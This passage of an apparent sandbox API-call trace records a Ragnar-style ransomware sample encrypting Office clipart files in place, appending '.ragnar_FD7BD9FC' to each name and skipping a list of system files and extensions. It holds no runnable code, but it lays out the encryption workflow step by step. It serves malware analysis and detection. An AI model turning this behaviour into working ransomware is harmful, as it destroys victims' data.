RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.702] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.703] VirtualAlloc (lpAddress=0x0, dwSize=0x40f2, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.703] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.704] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.704] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x40f2, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x40f2, lpOverlapped=0x0) returned 1 [0087.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.705] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40f2, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.705] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x40f2, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x40f2, lpOverlapped=0x0) returned 1 [0087.705] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40f2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.705] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x40f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.705] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.705] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.705] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.705] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.706] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.706] GetProcessHeap () returned 0x580000 [0087.706] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.706] CloseHandle (hObject=0xf4) returned 1 [0087.706] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" [0087.706] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.ragnar_FD7BD9FC" [0087.706] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.706] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b02, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315580.JPG", cAlternateFileName="")) returned 1 [0087.706] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.707] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0315580.JPG" | out: lpString1="J0315580.JPG") returned="J0315580.JPG" [0087.707] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG") returned=".JPG" [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="autorun.inf") returned 1 [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="boot.ini") returned 1 [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="bootfont.bin") returned 1 [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="bootsect.bak") returned 1 [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="bootmgr") returned 1 [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="bootmgr.efi") returned 1 [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="bootmgfw.efi") returned 1 [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="desktop.ini") returned 1 [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="iconcache.db") returned 1 [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="ntldr") returned -1 [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="ntuser.dat") returned -1 [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="ntuser.dat.log") returned -1 [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="ntuser.ini") returned -1 [0087.707] lstrcmpiW (lpString1="J0315580.JPG", lpString2="thumbs.db") returned -1 [0087.707] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.707] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.707] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.707] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.707] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.707] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.707] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg")) returned 0x20 [0087.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.708] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19202) returned 1 [0087.708] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4af9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.708] GetProcessHeap () returned 0x580000 [0087.708] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.708] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.709] VirtualAlloc (lpAddress=0x0, dwSize=0x4b02, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.710] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4b02, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4b02, lpOverlapped=0x0) returned 1 [0087.711] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.711] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4b02, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.711] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4b02, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4b02, lpOverlapped=0x0) returned 1 [0087.711] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4b02, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.711] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.711] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4b02, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.711] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.711] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.712] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.712] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.712] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.712] GetProcessHeap () returned 0x580000 [0087.712] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.712] CloseHandle (hObject=0xf4) returned 1 [0087.712] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" [0087.712] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.ragnar_FD7BD9FC" [0087.712] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.713] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x423a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315612.JPG", cAlternateFileName="")) returned 1 [0087.713] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.713] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0315612.JPG" | out: lpString1="J0315612.JPG") returned="J0315612.JPG" [0087.713] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG") returned=".JPG" [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="autorun.inf") returned 1 [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="boot.ini") returned 1 [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="bootfont.bin") returned 1 [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="bootsect.bak") returned 1 [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="bootmgr") returned 1 [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="bootmgr.efi") returned 1 [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="bootmgfw.efi") returned 1 [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="desktop.ini") returned 1 [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="iconcache.db") returned 1 [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="ntldr") returned -1 [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="ntuser.dat") returned -1 [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="ntuser.dat.log") returned -1 [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="ntuser.ini") returned -1 [0087.713] lstrcmpiW (lpString1="J0315612.JPG", lpString2="thumbs.db") returned -1 [0087.713] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.713] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.713] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.713] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.713] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.713] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.713] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg")) returned 0x20 [0087.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.714] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16954) returned 1 [0087.714] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.714] GetProcessHeap () returned 0x580000 [0087.714] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.714] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.716] VirtualAlloc (lpAddress=0x0, dwSize=0x423a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.716] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x423a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x423a, lpOverlapped=0x0) returned 1 [0087.717] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.717] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x423a, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.717] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x423a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x423a, lpOverlapped=0x0) returned 1 [0087.717] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x423a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.717] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x423a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.718] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.718] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.718] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.718] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.718] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.718] GetProcessHeap () returned 0x580000 [0087.718] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.718] CloseHandle (hObject=0xf4) returned 1 [0087.718] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" [0087.718] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.ragnar_FD7BD9FC" [0087.718] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.719] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4180, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0318448.WMF", cAlternateFileName="")) returned 1 [0087.719] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.720] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0318448.WMF" | out: lpString1="J0318448.WMF") returned="J0318448.WMF" [0087.720] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF") returned=".WMF" [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="autorun.inf") returned 1 [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="boot.ini") returned 1 [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="bootfont.bin") returned 1 [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="bootsect.bak") returned 1 [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="bootmgr") returned 1 [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="bootmgr.efi") returned 1 [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="bootmgfw.efi") returned 1 [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="desktop.ini") returned 1 [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="iconcache.db") returned 1 [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="ntldr") returned -1 [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="ntuser.dat") returned -1 [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="ntuser.dat.log") returned -1 [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="ntuser.ini") returned -1 [0087.720] lstrcmpiW (lpString1="J0318448.WMF", lpString2="thumbs.db") returned -1 [0087.720] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0087.720] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0087.720] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0087.720] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0087.720] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0087.720] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0087.720] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0087.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf")) returned 0x20 [0087.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.722] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16768) returned 1 [0087.722] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4177, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.722] GetProcessHeap () returned 0x580000 [0087.722] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.722] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.724] VirtualAlloc (lpAddress=0x0, dwSize=0x4180, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.724] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.724] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4180, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4180, lpOverlapped=0x0) 